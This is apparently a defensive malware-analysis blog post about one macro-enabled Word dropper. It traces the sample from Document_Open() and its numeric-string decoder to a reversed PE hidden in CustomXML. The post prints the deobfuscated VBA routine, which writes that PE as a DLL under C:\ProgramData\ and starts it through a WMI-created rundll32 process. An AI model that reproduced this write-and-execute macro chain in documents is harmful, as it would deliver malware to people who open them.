4 minute read

Summary

This post follows a single DOCM sample to answer four practical questions: where execution starts, how the obfuscated strings are decoded, where the real payload is stored inside the document, and how the final execution chain is assembled.

Reframed in the blog’s newer structure, the most defensible reading is that the sample starts from Document_Open(), extracts reversed PE data from CustomXML, writes it as a DLL-like payload, and launches it through a WMI-backed rundll32 chain.

Document Information

  • Written on: 2023-04-08
  • Verification date: 2026-04-16
  • Document type: analysis
  • Test environment: based on the original analysis record, Windows document-analysis environment, DOCM sample, olevba, HxD, and OOXML internal file inspection
  • Test version: exact versions of olevba, HxD, and Word/Office were not recorded
  • Sample identifier: SHA-256 014827baac8a836d570203d3ff88b22957dcedd1cc4eae49e4ac62334f4f4903
  • Source quality: Microsoft Learn pages and tool-author documentation were preferred.
  • Note: this revision reorganizes the original analysis notes and screenshots into the current template. The update focuses on source linkage and fact-vs-interpretation boundaries rather than rerunning the sample from scratch.

Problem Definition

The scope of this post is limited to four questions.

  • Which routine actually runs first when the document is opened
  • How the numeric-string obfuscation is decoded
  • Where the payload is stored inside the document
  • How the write-and-execute chain works from a dropper perspective

It does not attempt to fully reverse the final DLL, recover every post-execution behavior, or prove the full infrastructure behind the sample.

Verified Facts

Directly Confirmed Results

1. Macro entry point and main routine

  • Result based on the original analysis record: extracting the macro with olevba showed that execution starts at Document_Open(), which immediately calls zwxcnxajcshyp.
Private Sub Document_Open()
    zwxcnxajcshyp True
End Sub
  • Result based on the original analysis record: the main routine repeatedly used numeric string constants and rrhzspxkphvvy, which strongly suggested a dedicated decode stage.
Const merrdjtosyhjjuraz = "166157191179213210202213196208167196215196191"
Const iujnoejlhsccsg = "218204209208202208215214157222204208211200213214210209196215204210209175200217200207160204208211200213214210209196215200224132191191145191213210210215191198204208217149"

pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts(rrhzspxkphvvy(ichejlnhmywnfzndkdg)).SelectSingleNode("/").Text)

2. String decoding logic and recovered values

  • Result based on the original analysis record: rrhzspxkphvvy split the input into 3-digit chunks and used them as keys into the dictionary created by siudlfagynaqsgxowx.
  • Result based on the original analysis record: that routine recovered the following strings.
C:\ProgramData\
winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2
Win32_ProcessStartup
winmgmts:root\cimv2:Win32_Process
http://localhost/
  • Keeping interpretation minimal, the readable flow was:
  1. Read hex-like content from CustomXML.
  2. Reassemble and write it under C:\ProgramData\.
  3. Build a WMI process-creation path.
  4. Invoke rundll32 ... ,init.

3. Payload location inside the document

  • Result based on the original analysis record: when the sample was treated as a ZIP package, a customXml/item1.xml-style file contained hex data under the http://localhost/ namespace.
<custom-xml-content xmlns="http://localhost/">hex value</custom-xml-content>
  • Result based on the original analysis record: opening that extracted data in HxD revealed a reversed PE structure.

Hex editor view of the extracted CustomXML payload showing a reversed PE file

4. Final execution chain

  • Result based on the original analysis record: rewriting the decoded main routine into a readable form produced the following flow.
pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts("http://localhost/").SelectSingleNode("/").Text)
diowrynmsjektmzbl = lcjsxjbkldksstie
raeozmfjnymq "C:\ProgramData\" + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False

Set fhfcsnunstz = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set xydisndhrfnkrmnael = fhfcsnunstz.Get("Win32_ProcessStartup")
Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
Set mpuduxzmupgceh = GetObject("winmgmts:root\cimv2:Win32_Process")
nvplchnzsnuzfpoy = "rundll32" + "C:\ProgramData\" + diowrynmsjektmzbl + ",init"
vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)
  • Result based on the original analysis record: lcjsxjbkldksstie behaved like a filename builder that combined a locale fragment, one digit, and a .dll suffix.

Interpretation / Opinion

  • Interpretation: this sample is best understood as a dropper-style document. The macro does not appear to contain the final payload logic itself; instead it extracts hidden PE data, writes it, and triggers execution.
  • Interpretation: http://localhost/ is more convincingly read as a CustomXML namespace identifier than as a live network IOC. The important behavior here is payload storage inside OOXML, not outbound traffic.
  • Opinion: the combination of the filename builder and the rundll32 ... ,init command makes the DLL interpretation the strongest one. Still, this post does not claim to have fully reversed the dropped DLL or its init export.

Limits and Exceptions

  • This revision is based on the original analysis record, so the exact olevba, HxD, and Word/Office versions are missing.
  • The DLL conclusion is grounded in the filename-construction logic and the rundll32 invocation, but the dropped file itself is not fully reversed in this post.
  • This is a single sample identified by one SHA-256 hash and should not be generalized to every macro-based document malware family.
  • Network behavior, persistence, and second-stage functionality are outside the scope of this write-up.

References

댓글남기기